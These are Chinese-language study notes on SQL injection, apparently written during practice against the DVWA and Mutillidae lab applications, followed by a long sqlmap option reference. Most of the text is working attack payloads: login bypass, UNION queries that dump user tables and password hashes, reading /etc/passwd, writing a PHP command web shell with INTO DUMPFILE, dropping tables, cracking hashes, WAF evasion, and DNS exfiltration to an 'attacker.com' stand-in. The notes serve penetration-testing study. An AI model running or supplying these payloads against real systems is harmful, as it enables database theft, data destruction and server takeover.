SQL注入笔记
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
用户登陆判断
12
SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘
基于报错的检测方法
‘ “ % ( )
基于布尔的检测
1’ and ‘1’=‘1
1’ and ‘1’=‘2
表列数/显示信息位于哪一列
‘ order by 9--
- select * 时表字段数=查询字段数
联合查询
’ union select 1,2--+
’ union all select database(),2--+
hash-identifier
' union select database(),substring_index(USER(),"@",1)--
DB用户:
user()
DB版本:
version()
全局函数:
@@datadir @@hostname @@VERSION @@version_compile_os
当前库:
database()
ASCII转字符:
char()
连接字符串:
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希:
md5()
Mysql数据结构
- information_schema
所有库所有表/统计每库中表的数量
‘ union select table_name,table_schema from information_schema.tables--+
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
DVWA库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
Users表中的所有列(user_id, first_name, last_name, user, password, avator)
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+
查询user password列的内容
' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+
密码破解
username:passhash ——> dvwa.txt
john --format=raw-MD5 dvwa.txt
读取文件
' union SELECT null, load_file('/etc/passwd')--+
写入文件
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --+
- Mysql账号
- 文件包含
?page=/tmp/a.php&cmd=ls
cat php-revers-shell.php | xxd -ps | tr -d 'n'
' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--
保存下载数据库
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
一个思路:编写服务器端代码
12345678910111213141516
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:$username<BR>"; echo "avatar: $avatar<BR>";$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected todatabase<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\"$userID\","$first_name\",\"$last_name\",\"$username\",MD5(\"$password\"),\"$avatar")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Errorcreating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text"name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br><input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit"value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --
无权读取information_schema库 / 拒绝union, order by 语句
- 猜列名:
' and column is null--+
- burpsuite 自动猜列名
- 猜当前表表名:
' and table.user is null--+
- 猜库里其他表:
' and(select count(*) from table)>0--+
- 列表对应关系:
' and users.user is null--+
- 猜字段内容:
' or user = 'admin
' or user like ' %a%
- 猜账号对应密码:
' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
- 猜列名:
- 当数据库可写
'; update users set user='yy' where user='admin
- 注入失败,SQL客户端工具的问题
http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html
'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES(‘35','yy',‘y',‘yyy','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
';DROP TABLE users;--
- SQLi没有通用的方法,掌握原理,了解各种数据库特性
- Medium难度级别
- mysql_real_escape_string()
- PHP 4 >= 4.3.0 PHP 5
- PHP5.5.0已经弃用此函数
- PHP7.0.0 已经删除此函数,代之以mysqli,PDO_MySQL
- High级别
- mysql_real_escape_string()
- stripslashes()
- is_numeric()
SQL盲注
不显示数据库内建的报错信息
- 内建的报错信息帮助开发人员发现和修复问题
- 报错信息提供关于系统的大量有用信息
当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果。
思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断
1 ' and 1 = 1--+
1 ' and 1=2--+
12345
1' union select 1,2--+1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+1' and 1=0 union select null,table_name from information_schema.tables#1' and 1=0 union select null,table_name from information_schema.columns wheretable_name='users' #
无权读取information_schema库 / 拒绝 union order by 语句
- 猜列名:
1' and user is not null--+
- 猜当前表表名:
1' and table.user is not null--+
- 猜库里其他表:
1' and (select count() from table)>0--+
- 列表对应关系:
1' and users.user is not null--+
- 猜字段内容:
1' and user='admin
1' or user like '%a%
- 猜账号对应密码:
2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
- 猜列名:
开个脑洞
1234
1' and ORD(MID((VERSION()),1,1))&1>0--+CURRENT_USER()?DATABASE()MID(ColumnName, Start [, Length])ORD(string) #ASCII?
SQLMAP 自动注入
开源sql注入漏洞检测,利用工具
检测动态页面中get/post参数,cookie, http头
数据榨取
文件系统访问
操作系统命令执行
引擎强大,特性丰富
XSS漏洞检测
五种漏洞检测技术
- 基于布尔的盲注检测
- 基于时间的盲注检测
- 基于错误的检测
- 基于UNION联合查询的检测
- 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
- 基于堆叠查询的检测
- 堆叠多个查询语句
- 适用于非select的数据修改,删除的操作
- 支持的数据库管理系统DBMS
- MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase , SAP MaxDB
- MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
- 其他特性
- 数据库直接连接-d
- 不通过SQL注入,指定身份认证信息,IP,端口
- 与Burpsuite google联合使用,支持正则表达式限定测试目标
- GET POST cookie referer User-Agent (随机或指定)
- cookie过期后自动处理set-cookie头,更新cookie信息
- 限速:最大并发、延迟发送
- 支持Basic Digest NTLM CA身份认证
- 数据库版本,用户,权限,hash枚举和字典破解,暴力破解表列名称
- 文件上传下载,UDF,启动并执行存储过程,操作系统命令执行,访问Windows注册表
- 与w3af,metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
sqlmap -h / -hh
sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users --banner --dbs --schema -a
sqlmap --version -v
- 日志 .sqlmap
- 输出
- 输出内容详细度分7个等级
- GET方法
sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f
- 扫描URL列表文件
sqlmap -m list.txt
- 扫描Google搜索结果
sqlmap.py -g "inurl:".php?id=1""
- POST方法
- 使用Http请求文件(burpsuite)
sqlmap -r request.txt
- 使用burpsuite log 文件
sqlmap -l log.txt
- HTTPS
sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
- 扫描配置文件
sqlmap -c sqlmap.conf
- 数据段:–data
- get/post 都适用
sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
- 变量分隔符:–param-del
http://1.1.1.1/a.php?q=foo;id=1 // ; &
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
- cookie头: –cookie
- web应用需要基于cookie的身份认证
- 检查cookie中的注入点(level >=2)
Set-Cookie / --drop-set-cookie / --cookie-del
sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="a=1;b=2" -f
- –user-agent
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org
- –random-agent
/usr/share/sqlmap/txt/user-agents.txt
- sqlmap检查user-agent中的注入点:level>=3
- APP/WAF/IPS/IDS 过滤异常user-agent时报错
- Host头: –host
- level=5
- referer头: –referer
- level>=3
- 额外的header:–headers
- 每个头单独一行(名称区分大小写)
- –method= GET/POST
基于HTTP协议的身份认证
- basic
- digest
- NTLM
sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass
–auth-cert / –auth-file
- –auth-file = “ca.PEM”
- 含有私钥的PEM格式证书文件
- PEM格式的证书链文件
Http(s)代理
--proxy="http://127.0.0.1:8087"
--proxy-cred="name:pass"
--ignore-proxy
忽略系统级代理设置,通常用于扫描本地网络目标
–delay
- 每次https请求之间延迟时间,浮点数,单位为秒,默认无延迟
–timeout
- 请求超时时间,浮点数,默认为30秒
–retries
- http(s)连接超时重试次数,默认3次
–randomize
- 长度,类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
–scope
- 过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope="(www)?.target.(com|net|org)“
sqlmap -l 2.log --scope="(19)?.168.20.(1|10|100)" --level 3 --dbs
–safe-url / –safe-freq
- 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
- 每发送–safe-freq次注入请求后,发送一次正常请求
–skip-urlencode
- 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
–eval
- 每次请求前执行指定的python代码
- 每次请求更改或增加新的参数值(时间依赖,其他参数值依赖)
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
优化性能
–predict-output
- 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
- 版本名,用户名,密码,privileges,role,数据库名称,表名,列名
- 与–threads参数不兼容
- 统计表:
/usr/share/sqlmap/txt/common-outputs.txt
–keep-alive
- 使用http 长连接,性能好
- 与–proxy参数不兼容
- 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
–null-connection
- 只获取相应页面的大小值,而非页面具体内容
- 通常用于盲注判断 真/假, 降低网络带宽消耗
- 与–text-only参数不兼容(基于页面内容的比较判断真/假)
–threads
- 最大并发线程
- 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
- 默认值为1,建议不要超过10,否则可能影响站点可用性
- 与 –predict-output参数不兼容
-o 开启前三个性能参数(除–threads参数)
-p
- 指定扫描的参数,使–level失效
- -p “user-agent, referer”
–skip
- 排除指定的扫描参数
--level=5 --skip="id,user-agent"
uri注入点
sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
--dbms="mysql"
--os
--invalid-bignum / --invalid-logical
- 通常sqlmap使用负值使参数取值失效
- bignum使用大数使参数值失效
- Logical使用布尔判断使取值失效
–no-cast
- 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
- 老版本mysql数据库需要开启此开关
–no-escape
- 出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
SELECT 'foo' ? SELECT CHAR(102)+CHAR(111)+CHAR(111)
- 本参数将关闭此功能
–prefix / –suffix
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id--prefix "’)" --suffix "AND (’abc’=’abc“
query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND(’abc’=’abc’) LIMIT 0, 1";
–tamper
- 混淆脚本,用于绕过应用层过滤,IPS,WAF
sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
–level
- 1-5级
- /usr/share/sqlmap/xml/payloads
–risk
- risk升高可造成数据被篡改等风险
–string –not-string –regexp –code –text-only –titles
- 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串
默认使用全部技术
- B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
- B: Boolean-based blind
–time-sec
- 基于时间的注入检测相应延迟时间
–union-cols
- 默认联合查询1-10列,随–level增加最多支持50列
- –union-cols 6-9
–union-char
- 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
- –union-char 123
–dns-domain
- 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
- –dns-domain attacker.com
–second-order
- 在一个页面注入的结果,从另一个页面体现出来
- –second-order http://1.1.1.1/b.php
-f, –fingerprint, -b , –banner
- 数据库管理系统指纹信息
- DBMS,操作系统,架构,补丁
ENUMERATION
123456789101112131415
--current-user--current-db--hostname--users--privileges -U username --roles--dbs--tables, --exclude-sysdbs –D dvwa-T users -D dvwa -C user --columns--schema --batch --exclude-sysdbs 元数据(使用默认选项)--countDump数据--dump, -C, -T, -D, --start, --stop--dump-all --exclude-sysdbs--sql-query "select * from users"
BRUTE FORCE
- MySQL < 5.0 没有information_schema 库
- MySQL >= 5.0 但无权读取information_schema库
- 微软的access数据库 ,默认无权读取MSysObjects库
- –common-tables
- –common-columns
–udf-inject ,–shared-lib
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
–file-read = “/etc/password”
–file-write=”shell.php” –file-dest “/tmp/shell.php”
MySQL,postgresql
- 上传共享库并生成sys_exec(),sys_eval()两个UDF
mssql
- xp_cmdshell存储过程
Windows registory
1234567
--reg-read--reg-add--reg-del--reg-key?--reg-value?--reg-data?--reg-typesqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-s : sqlite会话文件保存位置
-t: 记录流量文件保存位置
–charset:强制字符编码
–crawl:从起始位置爬站深度
–csv-del:dump数据默认存于“,”分割的csv文件中,指定其他分隔符
–dbms-cred:指定数据库账号
–flush-session:清空session
–force-ssl
–fresh-queries:忽略session查询结果
–hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
–output-dir=/tmp
–parse-errors:分析和显示数据库内建报错信息
–save:将命令保存成配置文件
MISCELLANEOUS
12345678
-z 参数注记符sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u“1.1.1.1/a.php?id=1"sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -Tusers -u “1.1.1.1/a.php?id=1"sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“
–answer
–check-waf: 检测WAF/IPS/IDS
–hpp: HTTP parameter pollution
- 绕过WAF/IPS/IDS的有效方法
- 尤其对ASP/IIS 和 ASP.NET/IIS
–identify-waf:彻底的WAF/IPS/IDS检查
–mobile: 模拟智能手机设备
–purge-output:清除output文件夹
–smart:当有大量检测目标时,只选择基于错误的检测结果
–wizard